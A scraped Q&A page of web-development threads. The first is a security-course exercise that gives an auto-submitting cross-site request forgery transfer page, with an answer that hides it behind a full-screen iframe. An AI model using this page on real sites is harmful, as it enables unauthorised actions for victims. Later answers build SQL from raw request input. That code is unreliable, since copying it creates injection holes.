How to submit a form invisibly with the help of iframe - javascript

This is a question regarding a course in computer security I am taking.
I have the following WORKING HTML document that simply submits a form for me:
<form method="POST" name="transferform"
action="http://dasak.csc.kth.se/zoobar/transfer.php">
<p>Send <input name="zoobars" type=text value="1" size=5> </p>
<p>to <input name="recipient" type=text value="sahand" size=10></p>
<input type=submit name="submission" value="Send">
</form>
<script>
document.getElementsByName("submission")[0].click();
location.replace("http://dasak.csc.kth.se")
</script>
Now I want to hide the form behind an iframe. I have followed other solutions on the internet to come up with this:
<iframe src = "http://www.kth.se">
<form method="POST" name="transferform"
action="http://dasak.csc.kth.se/zoobar/transfer.php">
<p>Send <input name="zoobars" type=text value="1" size=5> </p>
<p>to <input name="recipient" type=text value="sahand" size=10></p>
<input type=submit name="submission" value="Send">
</form>
<script>
document.getElementsByName("submission")[0].click();
location.replace("http://dasak.csc.kth.se");
</script>
</iframe>
and this:
<iframe src = "http://www.kth.se">
<form method="POST" name="transferform"
action="http://dasak.csc.kth.se/zoobar/transfer.php">
<p>Send <input name="zoobars" type=text value="1" size=5> </p>
<p>to <input name="recipient" type=text value="sahand" size=10></p>
<input type=submit name="submission" value="Send">
</form>
</iframe>
<script>
document.getElementsByName("submission")[0].click();
</script>
, the only difference between them being the location of the closing iframe tag.
My problem is, when I open the document with a browser (that supports iframes), I see the iframe, but I don't get the effect I want from submitting the form with the document.getElementsByName("submission")[0].click(); line. The submission is handled by the website in the transfer.php file, the relevant part of it being:
<?php
require_once("includes/common.php");
nav_start_outer("Transfer");
nav_start_inner();
if($_POST['submission']) {
$recipient = $_POST['recipient'];
$zoobars = (int) $_POST['zoobars'];
$sql = "SELECT Zoobars FROM Person WHERE Username='" .
addslashes($user->username) . "'";
$rs = $db->executeQuery($sql);
$sender_balance = $rs->getValueByNr(0,0) - $zoobars;
$sql = "SELECT Username, Zoobars FROM Person WHERE Username='" .
addslashes($recipient) . "'";
$rs = $db->executeQuery($sql);
$recipient_exists = $rs->getValueByNr(0,0);
if($zoobars > 0 && $sender_balance >= 0 && $recipient_exists) {
$sql = "UPDATE Person SET Zoobars = $sender_balance " .
"WHERE Username='" . addslashes($user->username) . "'";
$db->executeQuery($sql);
$sql = "SELECT Zoobars FROM Person WHERE Username='".
addslashes($recipient) . "'";
$rs = $db->executeQuery($sql);
$recipient_balance = $rs->getValueByNr(0,0) + $zoobars;
$sql = "UPDATE Person SET Zoobars = $recipient_balance " .
"WHERE Username='" . addslashes($recipient) . "'";
$db->executeQuery($sql);
$result = "Sent $zoobars zoobars";
}
else $result = "Transfer to $recipient failed.";
}
?>
As I know for a fact that the HTML document I have crafted works without the iframe, I believe that the execution of the script is somehow hindered or altered by the iframe. Does anyone know if this is true? If not, what is the reason for this altered or non-functionality?

You want to hide the form behind an iframe, if I got you right.
So
<form method="POST" name="transferform"
action="http://dasak.csc.kth.se/zoobar/transfer.php">
<p>Send <input name="zoobars" type=text value="1" size=5> </p>
<p>to <input name="recipient" type=text value="sahand" size=10></p>
<input type=submit name="submission" value="Send">
</form>
<iframe style="background-color:grey;display:block;position:fixed;top:0px;left:0px;right:0px;bottom:0px;z-index:9999"></iframe>
<script>
document.getElementsByName("submission")[0].click();
location.replace("http://dasak.csc.kth.se")
</script>
Result: https://jsfiddle.net/ccj27ojf/

Related

Form is auto submitting but the data is not getting passed/received

I have a problem in automating a form with hidden inputs in PHP. Basically I'm doing an input for a barcode scanner where the user will input the barcode and it will auto-submit, just like in a cash registry.
The conflict which I think is the cause of the problem is because of a conditional form. Here is a snippet:
<form method="post" id="form1">
<div class="products">
<input type="text" name="code" class="form-control" autofocus required onchange="submit()" />
</div>
</form>
<?php
$query = 'SELECT * FROM product WHERE PRODUCT_CODE='.$code.' GROUP BY PRODUCT_CODE ORDER by PRODUCT_CODE ASC';
$result = mysqli_query($db, $query);
if ($result):
if(mysqli_num_rows($result)>0):
while($product = mysqli_fetch_assoc($result)):
?>
<form id="form2" method="post" action="pos.php?action=add&id=<?php echo $product['PRODUCT_CODE']; ?>" >
<input type="hidden" name="quantity" class="form-control" value="1" />
<input type="hidden" name="name" value="<?php echo $product['NAME']; ?>" />
<input type="hidden" name="price" value="<?php echo $product['PRICE']; ?>" />
<input type="submit" name="addpos" style="margin-top:5px;width: 462px" class="btn btn-info" value="Add"/>
</form>
<?php
endwhile;
endif;
endif;
?>
<script>
function submit() {
document.getElementById("form1").submit();
}
document.getElementById("form2").submit();
</script>
The data from form1 has no trouble auto-submitting, then the form2 will auto-submit but nothing happens. I need help on how can I make form2 auto-submit correctly too. I have tried different event handling for form2 but nothing happens. I only know a little bit of javascript so that's just how my script turned out.
Thank you, Programming kings!
Because the second form is inside the while loop, if there are multiple results there will be multiple forms with the same id = "form2".
You need an increment variable $incrm = 2 inside the loop,
form id='form<?php echo $incrm;?>',
with $incrm++ before ending it. I also recommend to add ann onchange event to the last input 'price' ; onchange = submit(this).
function submit(inp) {
inp.parentElement.submit();
}

Disabling Submit button on form in Chrome

How can I disable the Submit button on a form after its clicked? The goal is prevent users from hitting the browser's back button and resubmitting the same details twice, as well as clicking it twice in quick succession if the POST method is slower than expected. I found some ideas here which seem to work fine in Safari, but in Chrome it looks like my onSubmit form function doesn't fire as the button's caption doesn't change and the button stays enabled. I need a simple JS/php method for achieving this.
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<title>Entry Form</title>
<body>
<h2 align="center">Entry Form - <?php echo date("Y");?></h2>
<form id="entryForm" method="post" action="formSubmit.php" onsubmit="return checkForm(this);">
<h3>Entrant Info</h3>
<div><input name="fName" type="text" size="80" placeholder="Given name(s)" required> <strong>*</strong></div>
<br>
<div><input name="lName" type="text" size="80" placeholder="Last name" required> <strong>*</strong></div>
<br>
<div><input type="tel" name="phone" size="25" pattern="\d{3}[\-]\d{3}[\-]\d{4}" placeholder="Phone number (123-456-7890)"></div>
<br>
<div><input type="email" name="email" size="80" placeholder="Email"></div>
<br>
<h3>Model Info</h3>
<div><input type="text" name="modelName" size="80" placeholder="Title or name of entry" required> <strong>*</strong></div>
<br>
<div><textarea name="remarks" rows="10" cols="80" placeholder="Remarks"></textarea></div>
<br>
<select name="category" size="1" required>
<!--<option value="0">--Please Select --</option>-->
<option disabled selected value> -- Select a category -- </option>
<?php
// Use mySQL Procedurel
// mySQL server connection info
$servername = "localhost";
$username = "xxxx";
$password = "yyyy";
$dbname = "zzzz";
// Create connection
$conn = mysqli_connect($servername, $username, $password, $dbname);
// Check connection
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$sql = "SELECT ID, Category FROM category WHERE Year = YEAR(CURDATE()) ORDER BY Category";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
// output data of each row
while($row = $result->fetch_assoc()) { ?>
<option value="<?php echo $row['ID']; ?>"><?php echo $row['Category']; ?></option>
<?php
}
}
else {
echo "No results";
}
mysqli_close($conn);
?>
</select> <strong>*</strong>
<br>
<br>
<div>SECURED to base?
<input id="securedRadioYes" type="radio" name="securedToBase" value="Yes">Yes
<input id="securedRadioNo" type="radio" name="securedToBase" value="No" checked>No</div>
<div>
<h4>Terms and Conditions</h4>
I understand that the terms.</div>
<br>
<br>
<div>I accept the Terms and Conditions:
<input id="acceptAgrmt" name="acceptAgrmt" type="checkbox" value="" required> <strong>*</strong></div>
<br>
<br>
<div>
<input type="submit" name="mysubmit" value="Submit Entry">
<input type="button" value="Reset Form" onclick="resetForm(this.form);">
</div>
</form>
<script type="text/javascript">
function checkForm(form) // Submit button clicked
{
//
// check form input values
//
// User has to check Terms and Conditions
if(!form.acceptAgrmt.checked) {
alert("Please indicate that you accept the Terms and Conditions");
form.acceptAgrmt.focus();
return false;
}
else {
// do other field validations here?
form.mysubmit.disabled = true;
form.mysubmit.value = "Please wait...";
return true;
}
}
function resetForm(form) // Reset button clicked
{
form.mysubmit.disabled = false;
form.mysubmit.value = "Submit Entry";
// Clear out all user entries
form.acceptAgrmt.checked=false;
document.getElementById('securedRadioNo').checked = true;
form.category.value="";
form.remarks.value="";
form.modelName.value="";
//form.email.value="";
//form.phone.value="";
//form.lName.value="";
//form.fName.value="";
}
</script>
</body>
</html>
One way you could deal with this is just to hide or disable pointer-actions on the form after it's clicked -- modify the hidden attribute of the form element, or set form.style.pointerActions = "none".

How to do a page refresh after submitting and executing an update statement to show the updated values?

I have to click on the update button and then do an update in database and a refresh to show the updated values on the same page. These values must be updated in the database as well. I have been trying to do the refresh but it does not work. Need some help and guidance. Is there any other alternative besides page refresh? Can it be done without page refresh?
<?php
//initalizing the query
$id = $_GET['id'];
$query = "SELECT * FROM new_default_reports WHERE id = '$id'";
$result = $conn->query($query);
$row = $result->fetch_assoc();
?>
<input type="button" id="btnShow" style="overflow:hidden;margin- left:1400px;font-weight:bold;background-color:lightgray" value="Edit Default Reports" />
<div id="dialog" align="center">
<form action = "" method="post">
<label> SQL Statement</label>
<textarea name="sqlst" style="width:100%;height:40%;" class = "form-control"><?php echo $row['sql_statement']?></textarea><br>
<label> X axis: </label>
<input type="text" name="x" class = "form-control" value="<?php echo $row['x_axis'] ?>"><br>
<label> Y axis: </label>
<input type="text" name="y" class = "form-control" value="<?php echo $row['y_axis'] ?>"><br>
<input type="submit" name = "set" value="Update" style="background-color:darkred;width:100px;color:white;font-weight:bold" onclick="window.location.reload();"/>
</form>
</div>
<?php
if (isset($_POST['set'])){
$query = "UPDATE new_default_reports SET sql_statement ='{$_POST['sqlst']}', x_axis ='{$_POST['x']}', y_axis = '{$_POST['y']}' where id = $id";
$result = $conn->query($query);
header("Refresh: 0; url=previewgraphs.php?id=".$id);
}
?>
UPDATED:
<input type="button" id="btnShow"
style="overflow:hidden; margin-left:1400px; font-weight:bold; background-color:lightgray" value="Edit Default Reports">
<div id="dialog" align="center">
<form action="previewgraphs.php?id=$id" method="post">
<label>SQL Statement</label>
<textarea name="sqlst" style="width:100%; height:40%;" class="form-control">
<?php echo $row['sql_statement']?>
</textarea>
<br>
<label>X axis: </label>
<input type="text" name="x" class="form-control"
value="<?php echo $row['x_axis'] ?>">
<br>
<label>Y axis: </label>
<input type="text" name="y" class="form-control"
value="<?php echo $row['y_axis'] ?>">
<br>
<input type="submit" name="set" value="Update"
style="background-color:darkred;width:100px;color:white;font-weight:bold">
<input type="submit" name="submitted" value="Submit the form">
</form>
</div>
<?php
if (isset($_POST['submitted'])){
$query = "UPDATE new_default_reports SET sql_statement ='{$_POST['sqlst']}', x_axis ='{$_POST['x']}', y_axis = '{$_POST['y']}' where id = $id";
$result = $conn->query($query);
// make a query to get the updated result and display it on the page
$select_query = "SELECT sql_statement, x_xis, y_axis FROM new_default_reports WHERE id = $id";
$select_result = $conn->query($select_query);
if ($select_result->num_rows == 1) {
echo "You have successfully updated the database.";
$row = $select_result->fetch_assoc();
echo $row['sql_statement'];
echo $row['x_axis'];
echo $row['y_axis'];
}
}
?>
Please take updated value from the database after update query.
Please try this code :-
<?php
if (isset($_POST['set'])){
$query = "UPDATE new_default_reports SET sql_statement ='{$_POST['sqlst']}', x_axis ='{$_POST['x']}', y_axis = '{$_POST['y']}' where id = $id";
$result = $conn->query($query);
$select_query = "SELECT * FROM new_default_reports where id = $id";
$select_result= $conn->query($select_query );
$row = $select_result->fetch_assoc();
}
?>
<input type="button" id="btnShow" style="overflow:hidden;margin- left:1400px;font-weight:bold;background-color:lightgray" value="Edit Default Reports" />
<div id="dialog" align="center">
<form action = "" method="post">
<label> SQL Statement</label>
<textarea name="sqlst" style="width:100%;height:40%;" class = "form-control"><?php echo $row['sql_statement']?></textarea><br>
<label> X axis: </label>
<input type="text" name="x" class = "form-control" value="<?php echo $row['x_axis'] ?>"><br>
<label> Y axis: </label>
<input type="text" name="y" class = "form-control" value="<?php echo $row['y_axis'] ?>"><br>
<input type="submit" name = "set" value="Update" style="background-color:darkred;width:100px;color:white;font-weight:bold" />
</form>
</div>
The header function does not work in your case because you have already output before trying to set the header.
The solution is to reverse the php and html code such that the php code is on the very beginning of the document.
Little side note, now you actually do not need the refresh anymore.
EDIT included select query.
<?php
if (isset($_POST['set'])){
$query = "UPDATE new_default_reports SET sql_statement ='{$_POST['sqlst']}', x_axis ='{$_POST['x']}', y_axis = '{$_POST['y']}' where id = $id";
$result = $conn->query($query);
//header("Refresh: 0; url=previewgraphs.php?id=".$id);//not needed
$select_query = "SELECT sql_statement, x_xis, y_axis FROM new_default_reports WHERE id = $id";
$select_result = $conn->query($select_query);
if ($select_result->num_rows == 1) {
$row = $select_result->fetch_assoc();
}
}
?>
<input type="button" id="btnShow" style="overflow:hidden;margin- left:1400px;font-weight:bold;background-color:lightgray" value="Edit Default Reports" />
<div id="dialog" align="center">
<form action = "" method="post">
<label> SQL Statement</label>
<textarea name="sqlst" style="width:100%;height:40%;" class = "form-control"><?php echo $row['sql_statement']?></textarea><br>
<label> X axis: </label>
<input type="text" name="x" class = "form-control" value="<?php echo $row['x_axis'] ?>"><br>
<label> Y axis: </label>
<input type="text" name="y" class = "form-control" value="<?php echo $row['y_axis'] ?>"><br>
<input type="submit" name = "set" value="Update" style="background-color:darkred;width:100px;color:white;font-weight:bold" />
</form>
</div>
And remove onclick="window.location.reload();"
Here is how I would do it:
<input type="button" id="btnShow"
style="overflow:hidden; margin-left:1400px; font-weight:bold; background-color:lightgray" value="Edit Default Reports">
<div id="dialog" align="center">
<form action="<?php echo htmlentities($_SERVER['PHP_SELF']); ?>"
method="post">
<label>SQL Statement</label>
<textarea name="sqlst" style="width:100%; height:40%;" class="form-control">
<?php echo $row['sql_statement']?>
</textarea>
<br>
<label>X axis: </label>
<input type="text" name="x" class="form-control"
value="<?php echo $row['x_axis'] ?>">
<br>
<label>Y axis: </label>
<input type="text" name="y" class="form-control"
value="<?php echo $row['y_axis'] ?>">
<br>
<input type="submit" name="set" value="Update"
style="background-color:darkred;width:100px;color:white;font-weight:bold"">
<input type="submit" name="submitted" value="Submit the form">
</form>
</div>
<?php
if (isset($_POST['submitted'])){
$query = "UPDATE new_default_reports SET sql_statement ='{$_POST['sqlst']}', x_axis ='{$_POST['x']}', y_axis = '{$_POST['y']}' where id = $id";
$result = $conn->query($query);
// make a query to get the updated result and display it on the page
$select_query = "SELECT sql_statement, x_axis, y_axis FROM new_default_reports WHERE id = $id";
$select_result = $conn->query($select_query);
if ($select_result->num_rows == 1) {
echo "You have successfully updated the database.";
$row = $select_result->fetch_assoc();
echo $row['sql_statement'];
echo $row['x_axis'];
echo $row['y_axis'];
}
}
?>
So you wouldn't need to refresh the page, but rather you send the form to itself. It will result in another request. If the form has been sent the php code in the if-clause get executed and the database will be updated. Than you have the task to make a select query to get the updated result and display it on the page.
Should the user open the page with the form per get request, she is not going to see any results from the database.
When writing HTML you should also try to be consistent and keep the code conventions throughout your project. For single tags XML-like style is <input \>, HTML-style is <input>.
I hope this helps you and also gives you some alternative view how to solve your problem.
EDIT:
I removed the onclick event from your input element and added a submit button. When checking if the form has been sent, look for the submit button in your if-clause. If you like you can use <button type="submit">Submit the form</button> instead of <input type="submit">
ANOTHER EDIT:
I added simple select query and displayed the updated report on the page.
This is my idea about it:
user sends GET request - form is displayed
user sends POST request (submitting the form) - it is sent to itself, the from is displayed and the user gets feedback if update was successful, the udpated values being displayed
When creating something like this I always think on CRUD - create, retrieve, update, display.
The form should update an entry in the database.
For the retrieve part you should better use another view, displaying only the result, but not the form.
You could certainly send the form to the page where the result is displayed*, but I think that would be a bad practice. The user needs some feedback if the update action was successful.
for example something like this:
<form action="<?php echo 'previewgraphs?id=$id'; ?>">
You shouldn't squeeze to much logic into one part. Rethink your design. I'd also reccomend you to use a framework that implements the MVC pattern. You have a big choice. The framework will take care about many things and provide you also semantic URLs, so you'll have something like:
/reports
/reports/1
instead of appending all the parameters to the URL.
first restructure your code.
The first part of your code must save the values in case changes are being submitted. Then you read from the database again and show results.
However this could be a browser or proxy caching problem. I have a couple of tags that have been very helpful:
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Expires" CONTENT="-1">
<meta http-equiv="cache-control" content="no-cache">
put them in the html < head > section . Older IEs do weird things with proxys sometimes.
Cheers, Karsten

Failure to display result of a php script calculation in the textarea box

I believe that my problem may lie in the way that I am trying to initialize the script. The submit button that I am using seems to just clear the form, and not display any results. I also think there may be a problem with the two lines " $message = $_POST['textarea'];" and "echo $result + $message;" I am not sure if that is the correct way to produce a result into a text area box, as well as display the miles driven and total cost in their separate text boxes. I want this one button to do all three tasks. Is there a way to do this efficiently with PHP?
Edit: Corrected version of the code. Thank you #Fred-ii-!
<?php
if(isset($_POST['submit'])) {
$x = $_POST['beginningOdometerReading'];
$y = $_POST['endingOdometerReading'];
$z = $_POST['daysRentedCar'];
$miles = $y - $x;
$result = (15 * $z) + ($miles * 0.12);
$message = $_POST['textarea'];
echo $result + $message; }
?>
<html>
<head>
</script>
</head>
<body>
<div align="center">
<hr><br>
<form action="index4.php" method="post" name id="Main">
<input type="text" id="name" name="customerName" placeholder="Enter your name here" size="30px">
<br><br>
<input type="text" id="address" name="customerAddress" placeholder="Enter your street address here" size="50px">
<br><br>
<input type="text" id="city" name="customerCity" placeholder="What city do you live in?" size="30px">
<br><br>
<input type="number" id="zip" name="customerZip" placeholder="Enter your zip code" size="30px">
<br><br>
<input type="number" id="bOdometer" name="beginningOdometerReading" placeholder="Start odometer reading" size="80px">
<br><br>
<input type="number" id="eOdometer" name="endingOdometerReading" placeholder="End odometer reading" width="80px">
<br><br>
<input type="number" id="daysRented" name="daysRentedCar" placeholder="Days rented" size="50px">
<br><br>
<input type="submit" id="submit" value="Submit"/>
<br><br>
Miles Driven: <input type="number" id='miles' min="1" max"10000" readonly="" />
Total Cost: <input type="number" id='result' min="1" max"10000" readonly="" />
<br><br>
Summary: <textarea cols="30" rows="2" name="thetextarea" id="textarea"> </textarea>
<br><br>
<input type="reset" value="Reset">
</form>
<hr>
</div>
</body>
There are a few things wrong here.
One of the problems being with your conditional statement:
if(isset($_POST['submit'])) {
it is looking for a named element called "submit" which your submit button is not named.
<input type="submit" id="submit" value="Submit"/>
name it:
<input type="submit" name="submit" id="submit" value="Submit"/>
and you might have been relying on "id" for it. In this instance, you can't.
That is why you're getting back a blank page.
Having used an else{ echo "Error"; } would have echo'd "Error".
For example:
<?php
if(isset($_POST['submit'])) {
$x = $_POST['beginningOdometerReading'];
$y = $_POST['endingOdometerReading'];
$z = $_POST['daysRentedCar'];
$miles = $y - $x;
$result = (15 * $z) + ($miles * 0.12);
$message = $_POST['textarea'];
echo $result + $message; }
else { echo "Error"; }
?>
Then you have
$message = $_POST['textarea'];
but your textarea is named name="thetextarea".
Both of those need to match in names.
You are also using the wrong concatenate operator + for
echo $result + $message;
that needs to be a dot. The + sign is a JS/C++ method of concatenation, if one of those variables contains a string.
echo $result . $message;
or
echo $result . " ". $message;
Had it been a mathematical equation from two variables, then yes; that would have been a valid operator, just not in this case, since you are trying to echo from the $message variable, which is for the "textarea", being "text" and not an integer.
Sidenote: To ensure that you are indeed passing an integer to a POST array, add (int) to it. Example: $x = (int)$_POST['beginningOdometerReading'];
Edit: I found a few more errors in your form.
You have 2x instances of max"10000" it's missing an equal sign max="10000"
and you might be missing name attributes for both of these (which I already outlined are missing = signs for max"10000".
Miles Driven: <input type="number" id='miles' min="1" max"10000" readonly="" />
Total Cost: <input type="number" id='result' min="1" max"10000" readonly="" />
If you're relying on JS as you tagged this as, please edit your question and add that code. However, there was no code in your PHP to support this.
You've a syntax error in <form> being name id="Main"
You will need to adjust your actual code accordingly.
Rewrite:
<?php
if(isset($_POST['submit'])) {
$x = $_POST['beginningOdometerReading'];
$y = $_POST['endingOdometerReading'];
$z = $_POST['daysRentedCar'];
$miles = $y - $x;
$result = (15 * $z) + ($miles * 0.12);
$message = $_POST['thetextarea'];
echo $result . " " . $message; }
else { echo "Error"; }
?>
Error reporting would have signaled an undefined index notice for both of those.
Add error reporting to the top of your file(s) which will help find errors.
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
// rest of your code
Sidenote: Error reporting should only be done in staging, and never production.
Try to give name for input type `submit` button like
<input type="submit" name="submit" id="submit" value="Submit"/>
And try to remove from action='' because when you submit it directly takes to the index4.php and
error in form statement also you does not provide name you leave it empty like name id="Main"
<form action="index4.php" method="post" name="Main" id="Main">
And use echo statement like
echo $result,$message; }

Double form will not submit second form

Hi I have two HTML forms when the one is submit a JavaScript function submits the second the one form works but the second doesn't I'm not sure if it is the forms or the post pages can any one help.
The one form sends an email this is sending the email correctly sending the correct data to the correct email address.
The second form is meant to upload a file it doesn't seem to be doing anything at all there are now errors displayed to the screen I have done a try catch and nothing is displayed i have also looked into the logs and nothing is displayed I'm
HTML
<div id="loginborder">
<form id ="upload" enctype="multipart/form-data" action="upload_logo.php" method="POST">
<input name="userfile" type="file" />
<input type="submit" onsubmit="alert()" value="dont press" disabled>
</form>
<div id="login">
<form method="post" action="<?php echo $_SERVER["PHP_SELF"];?>">
<input type="hidden" name="subject" value="Can you create me a Contributors account">
<input type="text" name="first_name" id="first_name" placeholder="Name">
<input type="text" name="company" id="company" placeholder="Company Name">
<input type="checkbox" id="tc" onclick= "checkbox()">
<input type="submit" id="submit" onsubmit="alert()" name="submit" value="Register" disabled>
</form>
</div>
</div>
<?php
}
else
// the user has submitted the form
{
// Check if the "subject" input field is filled out
if (isset($_POST["subject"]))
{
sleep(5);
$subject = $_POST["subject"];
$first = $_POST["first_name"];
$company = $_POST["company"];
$therest = "First name= $first" . "\r\n" . "Company= $company" . "\r\n";
}
echo "$therest <br>";
$first = wordwrap($first, 70);
mail("careersintheclassroom01#gmail.com",$subject,$name,$therest,"subject: $subject\n");
echo "Thank you for sending us feedback";
header( "refresh:5;url=index.php" );
}
?>
</body>
</html>
javascript
<script type="text/javascript">
function alert()
{
document.getElementById("upload").submit();
}
function checkbox(){
if (document.getElementById("tc").checked == true)
document.getElementById("submit").disabled = false;
else
document.getElementById("submit").disabled = true;
}
$('input[placeholder],input[placeholder],input[placeholder],input[placeholder],input[placeholder]').placeholder();
</script>
Upload_Logo.php
<html>
<head>
</head>
</html>
<?php
$uploaddir = "./images/";
echo $uploaddir;
mkdir($uploaddir, true);
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
echo "<br />";
echo " <b>Your media has been uploaded</b><br /><br /> ";
?>
the <?php echo $_SERVER["PHP_SELF"];?> on the second form calls the php at the bottom of the page this is the one that is working it is the upload_logo.php that is not currently working any help would be much appreciated
You're trying to submit 2 forms at once. That can't work, as your browser can only be directed to 1 page at a time, so your attempt to submit the upload form with JavaScript is cancelled by the contact form being submitted. I'd suggest that you move the file input into the same form as the contact fields, and handle them both in your "the user has submitted the form" section.
Something like this should do the trick:
<?php
if (!isset($_POST["submit"]))
{
?>
<div id="loginborder">
<div id="login">
<form enctype="multipart/form-data" method="POST">
<input name="userfile" type="file" />
<input type="hidden" name="subject" value="Can you create me a Contributors account">
<input type="text" name="first_name" id="first_name" placeholder="Name">
<input type="text" name="company" id="company" placeholder="Company Name">
<input type="checkbox" id="tc" onclick="checkbox()">
<input type="submit" id="submit" name="submit" value="Register" disabled>
</form>
</div>
</div>
<?php
}
else
// the user has submitted the form
{
// Check if the "subject" input field is filled out
if (!empty($_POST["subject"]))
{
sleep(5);
$subject = $_POST["subject"];
$first = $_POST["first_name"];
$company = $_POST["company"];
$therest = "First name= $first" . "\r\n" . "Company= $company" . "\r\n";
echo "$therest <br>";
$first = wordwrap($first, 70);
mail("careersintheclassroom01#gmail.com",$subject,$name,$therest,"subject: $subject\n");
echo "Thank you for sending us feedback";
header( "refresh:5;url=index.php" );
}
if (isset($_FILES['userfile']['name'])) {
$uploaddir = "./images/";
if (!file_exists($uploaddir)) {
mkdir($uploaddir, true);
}
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
echo "<br />";
echo " <b>Your media has been uploaded</b><br /><br /> ";
}
}
?>
</body>
try this after $uploadfile = ...
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
when you submit 2nd form e-mail would be generated becausue it triggers if(isset($_POST["subject"])) condition and the code will follow the next commands.
But when you submit 1st form, it will call onsubmit="alert(); function and that function again submits the same form because of these.
function alert()
{
document.getElementById("upload").submit();
}
so you are just triggering a never ending loop.
My solution is
<script type="text/javascript">
function alert()
{
function checkbox(){
if (document.getElementById("tc").checked == true)
document.getElementById("submit").disabled = false;
else
document.getElementById("submit").disabled = true;
}
}
$('input[placeholder],input[placeholder],input[placeholder],input[placeholder],input[placeholder]').placeholder();
</script>
I'am not 100% sure about your requirement. hope you can get the point what i'am making. gl!

Categories